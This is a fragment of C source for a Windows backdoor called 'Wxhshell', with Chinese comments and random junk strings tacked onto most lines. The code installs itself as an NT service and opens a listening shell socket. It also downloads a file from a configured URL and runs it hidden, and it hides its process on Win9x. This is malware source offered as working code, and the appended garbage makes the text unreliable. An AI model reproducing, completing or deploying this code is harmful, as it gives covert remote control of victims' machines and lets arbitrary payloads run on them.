ULONG InheritedFromUniqueProcessId; rOz1tY)l0d
} PROCESS_BASIC_INFORMATION; 4v`IAR?&K;
lj UdsU w
PROCNTQSIP NtQueryInformationProcess; l&}}Io$?@
NSBcYObX
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b]fx
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TDUY& 1[
#q h
,
HANDLE hProcess; \H~zN]3^
PROCESS_BASIC_INFORMATION pbi; vP=68muD
O =;jDWE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6T4I,XrY_F
if(NULL == hInst ) return 0; bK.*v4RG
WN<g _8QR
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U2l3E*O
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,uAp;"YJeV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bp3E)l
zh|9\lf
if (!NtQueryInformationProcess) return 0; JXM]tV
hHGuD2%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DY9]$h*y
if(!hProcess) return 0; OZ+v ~'oD
+[<YE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [:FiA?O]
D}q"^"#T
CloseHandle(hProcess); '3Lu_]I-
OQ7 `n<I<)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .w;kB}$YC
if(hProcess==NULL) return 0; -^5467
K)BQ0v.:[
HMODULE hMod; 0/b
_T
char procName[255]; h%krA<G9
unsigned long cbNeeded; #{vC =m73
t*=[RS*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r!+{In+Z
W*t]
d
CloseHandle(hProcess); gf1+yJ^d!
]S%(l,
if(strstr(procName,"services")) return 1; // 以服务启动 l6y}>]
PO`p.("h
return 0; // 注册表启动 C+llA
} }Nsdk',}
D%abBE1
// 主模块 USEb} M`
int StartWxhshell(LPSTR lpCmdLine) 0z8?6~M;<
{ Jsysk $R
SOCKET wsl; L23}{P
BOOL val=TRUE; Q-n8~Ey1a
int port=0; ;~EQS.Qp
struct sockaddr_in door; d51'[?(
Aj)Q#Fd[
if(wscfg.ws_autoins) Install(); xwf-kwF8^
nUOi~cs
port=atoi(lpCmdLine); F5Z,Jmi^M
d=PX}o^
if(port<=0) port=wscfg.ws_port; _r*\ BM8y
80Dn!9j*
WSADATA data; RqtBz3v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eHy UY&N/
U}RBgPX!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &ASR2J
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n7cy[%yT
door.sin_family = AF_INET; ch8a
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n4/Wd?#`
door.sin_port = htons(port); `8ac;b
s*ZE`/SM3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { } #rTUX
closesocket(wsl); Q$c6l[(g
return 1; )1uiY
f&k
} e@Lxduq
FfdB%
if(listen(wsl,2) == INVALID_SOCKET) { 6
Rl[M+Q
closesocket(wsl); AJ bCC
return 1; Do/R.Mgy*
} YV<y-,Io
Wxhshell(wsl); ,U z8 _r
WSACleanup(); ]>t~Bcnm
LE\=Y;%
return 0; ->8Kd1^F
"XR=P>
xk
} +?$J8Paf
*Jd"3Si/
// 以NT服务方式启动 _&uJE&xl}
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `RL
Wr,h
{ uiVNz8H
DWORD status = 0; L"qJZU
DWORD specificError = 0xfffffff; dU$VRgP/
Io1j%T#ZT
serviceStatus.dwServiceType = SERVICE_WIN32; eQuu\/z*H
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5#,H&ui\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vxh39eW
serviceStatus.dwWin32ExitCode = 0; ]YgR
serviceStatus.dwServiceSpecificExitCode = 0; >fH0>W+!
serviceStatus.dwCheckPoint = 0; "' JnFM
serviceStatus.dwWaitHint = 0;
/MGapmqV9
]JrD@ Vy
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cZYy+
if (hServiceStatusHandle==0) return; zm"
K(EJ`2]:r
status = GetLastError(); h2ROQKL"B
if (status!=NO_ERROR) "m K`3</G
{ N1a]y/
serviceStatus.dwCurrentState = SERVICE_STOPPED; gV2vwe
serviceStatus.dwCheckPoint = 0; 2:*15RH3
serviceStatus.dwWaitHint = 0; m,k0 h%
serviceStatus.dwWin32ExitCode = status; r5}p .
serviceStatus.dwServiceSpecificExitCode = specificError; um.ZAS_kmc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S&_03
return; 'D+xs}\
} rH3U;K!
P`biHs8O
serviceStatus.dwCurrentState = SERVICE_RUNNING; *;fTiL
serviceStatus.dwCheckPoint = 0; IT| h;NUG
serviceStatus.dwWaitHint = 0; L4>14D\
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r&{8/ 5"
} nTeA=0 4
WH:dcU
// 处理NT服务事件,比如:启动、停止 )|~&(+Q?]
VOID WINAPI NTServiceHandler(DWORD fdwControl) }r:"X<`
{ |_;kQ(,
switch(fdwControl) +
[w 0;W_
{ e~]P _53
case SERVICE_CONTROL_STOP: J,=K1>8s
serviceStatus.dwWin32ExitCode = 0; ?Mjs [|
serviceStatus.dwCurrentState = SERVICE_STOPPED; /5NWV#-
serviceStatus.dwCheckPoint = 0; 'Z{`P0/^o`
serviceStatus.dwWaitHint = 0; kL'4m
{ ~H}Z;n]H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OrkcY39"~a
} N]P~`)
return; gP%<<yl
case SERVICE_CONTROL_PAUSE: x{1 v(n8+=
serviceStatus.dwCurrentState = SERVICE_PAUSED; )Te\6qM
break; ~7:q+\
case SERVICE_CONTROL_CONTINUE: `<YMkp[
serviceStatus.dwCurrentState = SERVICE_RUNNING; QVT0.GzR
break; G\sx'#Whc
case SERVICE_CONTROL_INTERROGATE: w
<r*&
break; +(+lbCW/
}; xV>
.]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xf4Q Lw/r
} /!]K+6>u
*~PB
// 标准应用程序主函数 LIDi0jbrq
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S5).\1m h[
{ YWIA(p8Qkk
iJ{axa &
// 获取操作系统版本 ]Jswxw
OsIsNt=GetOsVer(); (HAdr5
GetModuleFileName(NULL,ExeFile,MAX_PATH); ygz2bHpD~
Zux L2W
// 从命令行安装 ;]LQ}^MP(
if(strpbrk(lpCmdLine,"iI")) Install(); x1@,k=qrd
>WZ.Dj0n
// 下载执行文件 F 'uqL+jVO
if(wscfg.ws_downexe) { :` SIuu~@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RuHDAJ"&a
WinExec(wscfg.ws_filenam,SW_HIDE); zA#pgX[#
} H:G``Vq;0m
Hk}P
if(!OsIsNt) { $.tT
// 如果时win9x,隐藏进程并且设置为注册表启动 MHpGG00,
HideProc(); Z\0wQ;}
StartWxhshell(lpCmdLine); %DttkrhL
} T!x/^
else E2zL-ft.
if(StartFromService()) 4rhHvp
// 以服务方式启动 @WazSL;N
StartServiceCtrlDispatcher(DispatchTable); ug%7}&
else t]B`>SL3W
// 普通方式启动 nAQ[
-NbW,
StartWxhshell(lpCmdLine); c44s@E
o "r
return 0; YIN* '!N
}